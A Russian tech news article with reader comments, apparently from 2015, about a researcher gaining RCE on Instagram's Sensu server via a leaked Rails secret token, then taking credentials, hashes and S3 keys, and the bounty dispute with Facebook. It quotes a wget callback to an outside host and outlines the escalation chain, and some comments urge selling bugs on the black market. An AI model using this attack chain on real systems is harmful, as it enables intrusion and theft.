Уэсли обнаружил уязвимость в инфраструктуре Instagram, с помощью которой нашёл (и, возможно, скачал) практически всё ценное, что есть на серверах Instagram: исходный код последней версии, SSL-сертификаты и приватные ключи для Instagram.com, ключи для подписи куков аутентификации, учётные данные от почтового сервера и ключи для некоторых других продуктов, в том числе для подписи мобильных приложений под iOS и Android.
Вайнберг также получил доступ к аккаунтам сотрудников и их парольным хешам, некоторые из которых хакер взломал, и получил доступ к нескольким хранилищам (бакетам) Amazon S3 с пользовательскими фотографиями и другими приватными данными, которые вызывают подозрения в нарушении конфиденциальности пользователей со стороны Facebook.
Вся эта эпопея началась ещё в октябре с того, что коллега Вайнберга сообщил ему об открытом веб-сервере
https://sensu.instagram.com
, который работает на инстансе Amazon EC2 и крутит фреймворк для мониторинга Sensu. О баге с открытой админкой сервера в Facebook уже сообщили, но коллега намекнул, что заметил там баг с удалённым сбросом пароля в приложении Ruby on Rails (CVE-2013-3221), подробнее см. статью о способах атаки на Ruby on Rails.Хакер предположил, что такую же уязвимость можно найти в другом коде Instagram. Он изучил их репозиторий на Github, но ничего такого не обнаружил. Но зато нашёл кое-что получше. В файле secret_token.rb на гитхабе был прошит секретный токен Rails. В статье по ссылке выше подробно описано, как с помощью такого токена не только сфабриковать сессионные куки, но и инициировать десериализацию сессионных куков в Rails, чтобы напрямую запустить удалённое исполнение кода.
Уэсли сконфигурировал локальный инстанс Rails и воспользовался эксплоитом, который лежит на гитхабе: rails-3.2.10-remote-code-execution.md, чтобы сгенерировать объект, который спрячет в куки.
Полученный объект он подписал секретным ключом от Sensu-Admin — и получил куки от Sensu-Admin. К радости исследователя, сервер принял куки, запустил десериализацию, подтвердил подпись и запустил на исполнение объект, спрятанный внутри.
Это была команда
wget http://exfiltrated.com/test-instagram
— и сервер sensu.instagram.com послушно обратился к хакерскому серверу, что явно указало на то, что эксплоит работает.Имея на руках работающий RCE, хакер запустил удалённый шелл.
Получив полное подтверждение бага, 21 октября 2015 года Вайнберг сообщил о двух уязвимостях в Facebook, рассчитывая на вознаграждение. В своём блоге он вспоминает статью 2012 года в Bloomberg, где руководитель отдела безопасности Facebook рассказывает о своей программе вознаграждений за найденные уязвимости и говорит: «Если найдут баг на миллион долларов, мы выплатим его».
Чтобы доказать всю серьёзность бага, исследователь продолжил изучать содержимое сервера Instagram, в том числе скачал к себе локальную базу Postgres с информацией об аккаунтах 60 сотрудников и паролями, захешированными bcrypt. Такие хеши очень трудно подобрать: у хакера на компьютере брутфорс шёл со скоростью всего 250 попыток в секунду. На удивление, некоторые пароли оказались настолько лёгкими, что атака по словарю дала эффект уже через несколько минут.
- Шесть паролей "changeme"
- Три пароля совпадали с именем пользователя
- Два пароля "password"
- Один пароль "instagram"
Отойдя от шока, хакер выбрал один из паролей и залогинился в веб-интерфейс.
После этого он отправил в Facebook информацию о слабых пользовательских аккаунтах (22 октября).
Ожидая положенное вознаграждение от Facebook, специалист изучил содержимое конфигурационного файла
/etc/sensu/config.json
, там были ключевые пары от 82 контейнеров Amazon S3. Доступ был закрыт ко всем, кроме одного. Но в этом единственном контейнере он нашёл ещё одну ключевую пару, которая давала доступ ко всем 82-м остальным контейнерам.Facebook оперативно отреагировал, спрятал сервер Sensu за файрвол и 16 ноября выплатил вознаграждение $2500 за первый из трёх багов. В то же время 28 октября Вайнберг получил письмо, где ему отказали в выплате вознаграждения за второй и третий баги, потому что уязвимость со слабыми пользовательскими аккаунтами «выходит за рамки действия программы вознаграждения за уязвимости».
Разумеется, специалист немного обиделся. Получить всего $2500 за уязвимость с удалённым исполнением кода — это почти оскорбительно мало. Он опубликовал в своём блоге описание взлома и несколько почтовых писем из переписки с отделом безопасности Facebook.
После этого ситуация начала накаляться. Директор по безопасности Facebook Алекс Стамос позвонил директору компании Synack, с которой Вайнберг работает по контракту. Он сказал, что произошёл несанкционированный доступ к базе данных сотрудников Instagram и конфиденциальной информации пользователей. Эта информация должна быть немедленно удалена. Стамос сказал, что не хочет сообщать юристам об инциденте, но в случае необходимости процесс против Вайнберга будет запущен.
В ответ на сообщение в блоге специалиста по безопасности Алекс Стамос тоже опубликовал заявление, где назвал действия хакера «неавторизованными и неэтичными». Он также предположил, что Вайнберг недоволен низким размером вознаграждения — этим объясняется его поведение.
В то же время специалист подтвердил, что удалил все данные, полученные с сервера S3 и никому их не показывал. Он добавил, что на инстаграмовском хостинге могли остаться другие незакрытые уязвимости. Но похоже на то, что миллион долларов ему так и не заплатят.
Комментарии (47)
vitamin
19.12.2015 01:33+3Красиво… Странно, что они старую админку использовали, она уже давно не развивается и заменена на uchiwa.
khim
19.12.2015 02:31-5Меня во всей этой истории удивляет не реакция компаний, а реакция «исследователей».
Давайте отвлечёмся от админок, паролой и прочего. И поговорим… ну скажем про заводы.
Вася посмотрел на двери проходной на нефтезаводе, обнаружил, что там используется замок фирмы «ДыркиНашеВсё», отрывающиеся зубочисткой и сообщил об этом дирекции завода.
Петя, обнаружив на дверях для транспорта точно замки той же фирмы подождал, пока за очередным бензовозом не закроется дверь, прошёл в комнату управления персонала, снял слепки ключей всех сотрудников и, уйдя к себе домой, написал об этом администации.
Вопрос: почему Вася получил вознаграждение в 100 рублей «за бдительность», а Пете грозит срок в несколько лет?
Одно дело — обнаружить уязвимость и совсем другое — обнаружив её начать играть «в сыщиков» на территории «режимного предприятия». Ну есть же разница, чёрт побери.
Почему люди считают что вещи, за которые в «реальном» мире дают срок «в виртуальном» должны поощраться?KhodeN
19.12.2015 03:07+16Напоминает рассказ про солонку.
С другой стороны, он не нанес прямого вреда, разве что по репутации и то среди айтишников.
Сервисы такой популярности не должны иметь известных неисправленных уязвимостей. И он правильно сделал, что показал, насколько все плохо и что можно было бы сделать, имей он другие цели.
withkittens
19.12.2015 04:24+38Потому что в данном случае есть проблема: на двери проходной висит листочек А4: «Разрешаем искать уязвимости, если найдёте — тут же сообщайте. Ничего не красть!».
Вася обнаружил, что замки «ДыркиНашеВсё» никуда не годятся — хорошо. Петя прошёл через проходную и продолжил искать уязвимости. Нигде не написано, что после первой же уязвимости нужно остановиться! Это выясняется уже пост-фактум. Также пост-фактум выясняется и то, что сделать слепки ключей и выяснить, что часть из них — это тупо крестовые отвёртки разного размера, — это нарушение приватности. В листочке об этом не было написано. Было написано «не красть» — и Петя всё-таки не преступник, он ничего не украл.withkittens
19.12.2015 04:29+4Ещё Петя привёл в сравнение подобный листок с проходной другого завода, молочного.
Там было написано: «Можно искать уязвимости. Ничего не красть и не ломать. Например, в качестве доказательства вы можете сфотографировать внутренности электрощитка, но запрещено что-либо в нём щёлкать!».
Петя пытался узнать мнение администрации первого завода на счёт того, как далеко можно заходить, но в ответ ничего не получил.
MichaelBorisov
19.12.2015 12:17-6На заборе тоже "..." написано. А в УК есть статья: «несанкционированный доступ на режимное предприятие». Вот Пете теперь и предстоит доказывать в суде с этим листочком в руках, что он не виноват, и его самого туда позвали. Прокурор может заявить, что в УК ничего не написано насчет исключений из закона, которые даются какими-то листочками А4.
Сколько уже таких историй было, когда нашедшим уязвимости не платили, платили мало или вообще с ходу угрожали преследованием. Все больше убеждаюсь, что объявления о вознаграждениях за уязвимости — это неблагодарная замануха. Особенно когда конкретный размер вознаграждения не оговаривается. К примеру, вы ведете с фирмой переговоры о размерах вознаграждения. Какая мотивация для фирмы соглашаться на более высокую сумму, если вы уже передали ей всю необходимую им информацию?
Думаю, лучше или хакерствовать в свою пользу, или заниматься поиском уязвимостей профессионально, или вообще не связываться с этим.withkittens
19.12.2015 12:51+11Думайте. Но баунти программы существуют и они легальны (иначе бы таких программ не было, правда?). Поэтому ваша аналогия с УК и режимным объектом тут неприменима.
Какая мотивация платить больше? Тупо чтобы в следующий раз не продали информацию об уязвимости на чёрный рынок, дыр-то много. Фирмам намного выгоднее привлекать white hats достойной оплатой, чем попадать на порядок бoльшие бабки, разгребая последствия того, что уязвимостью воспользовались не те люди.
NoOne
21.12.2015 08:57+3«несанкционированный доступ на режимное предприятие»
Но как только предприятие публикует bug bounty, то доступ сразу становится санкционированным, ведь верно?
zim32
19.12.2015 03:13+9Эх фейсбук… Проще ему было родить, чем получить миллион за найденные уязвимости
kozyabka
19.12.2015 07:53+21Парни из ФБ повели себя очень странно заплатив 2.5к за удаленное исполнение кода, и 12.5к за возможность лишь удалять любое фото в сети по ссылке (http://timesofindia.indiatimes.com/tech/tech-news/Facebook-pays-Indian-12500-for-finding-photo-deleting-bug/articleshow/46233195.cms)
blw0rm
19.12.2015 08:08+14Согласно написанному здесь
Уэсли нашёл уязвимость в инфраструктуре Instagram, с помощью которой скачал практически всё ценное, что есть на серверах Instagram: исходный код последней версии, SSL-сертификаты и приватные ключи для Instagram.com, ключи для подписи куков аутентификации...
герою сюжета действительно могло бы светить наказание за кражу данных, но все-таки в оригинале автор говорит следующееI avoided downloading any content from those buckets.
что как бы не одно и тоже. Между «Зашел в помещение, порылся в шкафу, снял копии уставных и прочих важных документов и ушел. После угроз судебным делом сжег все копии» и «Заглянул, убедился, что двери и шкафы открыты и ушел, не взяв ничего» разница принципиальная.
Lure_of_Chaos
19.12.2015 08:41+1А раньше ради миллиона долларов грабили банки (кино) :)
nochkin
19.12.2015 10:17+12И сейчас грабят банки. Только через интернет, в трусах и не вставая с дивана.
MiXaiL27
19.12.2015 10:12-2Только публичные расстрелы! Ой, то есть отзыв текущего статуса, полученного при предыдущем аудите безопасности и публичный разбор почему уязвимости не закрыты.
AllexIn
19.12.2015 10:41+62Молодцы, что сказать…
В следующий раз хакеры будут знать, что лучше слить дыру на черном рынке, чем пытаться получить адекватное вознаграждение. И выгоднее и безопаснее.
redmanmale
19.12.2015 12:48там были ключевые пары от 82 контейнеров Amazon S3. Доступ был закрыт ко всем, кроме одного. Но в этом единственном контейнере он нашёл ещё одну ключевую пару, которая давала доступ ко всем 82-м остальным контейнерам.
Очень подозрительно. Попахивает подставой.
BeLove
19.12.2015 12:52-5Жаль, что в СМИ форсируют версию, что это Facebook виноват (видимо, в борьбе за рейтинги).
Любой багхантер почитав ответ от FB — www.facebook.com/notes/alex-stamos/bug-bounty-ethics/10153799951452929?pnref=story поймет, что это Wes взял на себя слишком много.
По своему опыту скажу, не согласен с суммой (в оригинале пишут вообще, что это был дубль) — просто обсуди. Не раз бывало, что суммы после обсуждения увеличивались в 2-3 раза. Он, вроде, писал по этом поводу вопрос, но не стал дожидаться ответа и уже нарушил рамки допустимого.withkittens
19.12.2015 13:24+6Как понял лично я, к Фейсбуку две претензии:
1) Каковы они, эти рамки допустимого? Вес вёл себя в рамках, описанных самим Фейсбуком. О том, что в реальности рамки yже, выяснилось пост-фактум.
2) Фейсбук не пытался связаться с Весом и донести, что он зашёл далеко — компания сразу же начала косвенно угрожать, позвонив работодателю. И потом они говорят «ну, это был наиболее мягкий вариант из рассматривавшихся».BeLove
19.12.2015 15:56-31) Об этом сказано прямым текстом в правилах — www.facebook.com/whitehat,
2) Чувак нагло сливал базу и брутил хэши, это прямое нарушение правил (это понятно любому). И уже попадает под заведение дела под него, все логично.withkittens
19.12.2015 16:38+5As a researcher on the Facebook program, the expectation is that you report a vulnerability as soon as you find it. We discourage escalating or trying to escalate access
1) Будете любезны процитировать прямой текст в правилах, где об этом написано?
2) То же самое касаемо слитых данных (я думаю, это важно — инфраструктурных данных. Пользовательские данные, как говорит чувак, он не трогал. Т.е. в моём понимании user privacy не нарушена).
3) Вот с брутфорсом хэшей — да, непонятно. С одной стороны, в этом не было никакой необходимости. С другой стороны, это пароли персонала, а не пользователей. Я не уверен, что сюда подходит user privacy policy, которой прикрывается Фейсбук.PHmaster
22.12.2015 15:52+2Вот с брутфорсом хэшей — да, непонятно.
По-моему, все логично. Black-hat обязательно сделал бы это, чтобы получить доступ к аккаунтам. White-hat сделал это, чтобы выяснить, насколько легко получить доступ к аккаунтам, и выяснил, что это чрезвычайно легко, т.е. нашел ту дыру, через которую смог бы проникнуть злоумышленник. Не вижу, из каких соображений он должен избегать этого шага.
withkittens
19.12.2015 16:46+32) А ещё выясняется, что безопасник Фейсбука немного привирает в своём блоге, рассказывая об инциденте. Зачем?
BeLove
19.12.2015 16:52Wes просто не стал ждать ответа и поддался эйфории, быстрее стараясь разломать все подряд.
ФБ нормально платит, лично знаю случай и $15k за XSS. И ФБ всегда платит много выше, чем в среднем по рынку.
Единственный момент мне непонятный, почему написано, что ему заплатили 2500 (написано — за дубль), когда за дубли вообще не платят. И если это дубль — почему не был исправлен к этому моменту.withkittens
19.12.2015 17:38-1Не стал ждать ответа — да. Но будем объективными, разломать — нет.
Ему не заплатили. Пока что они только сказали, что он может рассчитывать на $2,500.
Вес написал, что выплата делится с его другом, который изначально обнаружил сервер. Ну и Facebook states 'typically only reward the first researcher to report a valid issue to us through the bounty program, but in this case, we well be paying for related reports with different information that helped us track down and fix this issue.'BeLove
19.12.2015 17:45Ну как нет то? Тащить амазон ключи, где хранится приватный контент пользователей, брутить хэши админов и т.п.
Вообще этот случай давно обсудили в «багхант» сообществах и все придерживаются стороны ФБ. Адекватно надо оценивать свои действия.
Никто себе подобного не позволял и сначала думал и спрашивал вендора. А Wes технически молодец, но не более.MaxxArts
22.12.2015 14:26У вас какие-то свои отдельные «багхант сообщества». Не видел на просторах ни одного мнения за действия ФБ и Стамоса в частности. Все мнения сходятся в одном, что а) Уэсли действовал нагло и грубо, но в рамках опубликованных на тот момент правил, и б) Стамос повёл себя как мудак.
Вы просто завидуете, что чувак оказался настолько дотошным и удачливым.BeLove
22.12.2015 16:36О не, вот кому кому, ему точно сейчас не позавидуешь. Не хотел бы я быть на его месте.
В этом мнении сходятся в российских СМИ, но не на Западе, в обсуждениях в твиттере и разных чатах. Может «мои сообщества» и отдельные, но состоят они из тех, кто также находит, репортит и постоянно получает реварды от различных вендоров.
Degibenz
19.12.2015 12:59-1Это не баг, это фича.
Скорее всего, они не признают эти баги потому, что подставит под сомнения защищенности сервера самого Facebook, а так будут отпираться, говорить все все ОК.
Diden05
19.12.2015 14:56+14Если это не уязвимость на миллион, то я не знаю что такое уязвимость на миллион.
dkukushkin
19.12.2015 21:14+9Когда уязвимость позволяет вам снять со счета 1 млн. и уйти незамеченным.
AndersonDunai
19.12.2015 21:50+5Я полностью солидарен с Вайнбергом: чтобы довести дыру в безопасности, нужно продемонстрировать успешную кражу. Иначе все и окончится на 2500 долларах.
Да и реакция фейсбук очень медленная — этот случай должен дать им своеобразный пинок с порцией люлей, чтобы не забывали о том, что они не единственные в мире ухватили Б-га за бороду.
Все правильно сделал.PsyHaSTe
22.12.2015 10:07Его за то, что он просто посмотрел сажать хотят, а тут идут предложения украсть миллион… Сильно, однако :)
maxic
20.12.2015 01:37+2Это уже не просто пробой «кода»
Это ошибка архитектуры, вот почему FB так «ревностно» отреагировал
Поставить заплатку на код — это тривиальное дело. А вот архитектуру «залатать»… это 3.14kinguru
23.12.2015 09:13Подробне плз. Где вы видите пробему в архитектуре в данном случае?
Я вижу проблему 1) секретній ключ в коде на гитхабе и 2) открітій серверVolCh
23.12.2015 09:50Чувствительная информация задаётся в коде приложения — проблема архитектуры приложения
Обладание этой чувствительной информацией позволяет запустить на выполнение произвольный код — очень большая проблема архитектуры приложения
mtivkov
23.12.2015 23:17Хорошо бы ответный иск к ФБ за нарушение публичной оферты!
Дорого это только там, но может какой юрист бы и взялся за % от будущей суммы.
RolexStrider
Простите коль чего недопонял, но звучит это как в том анекдоте: «Странно… Му-Му вроде как написал Тургенев, а памятник почему-то поставили Чехову»
YoungSkipper
Instagram является частью/принадлежит Facebook
RolexStrider
Oops… Тогда прошу прощения.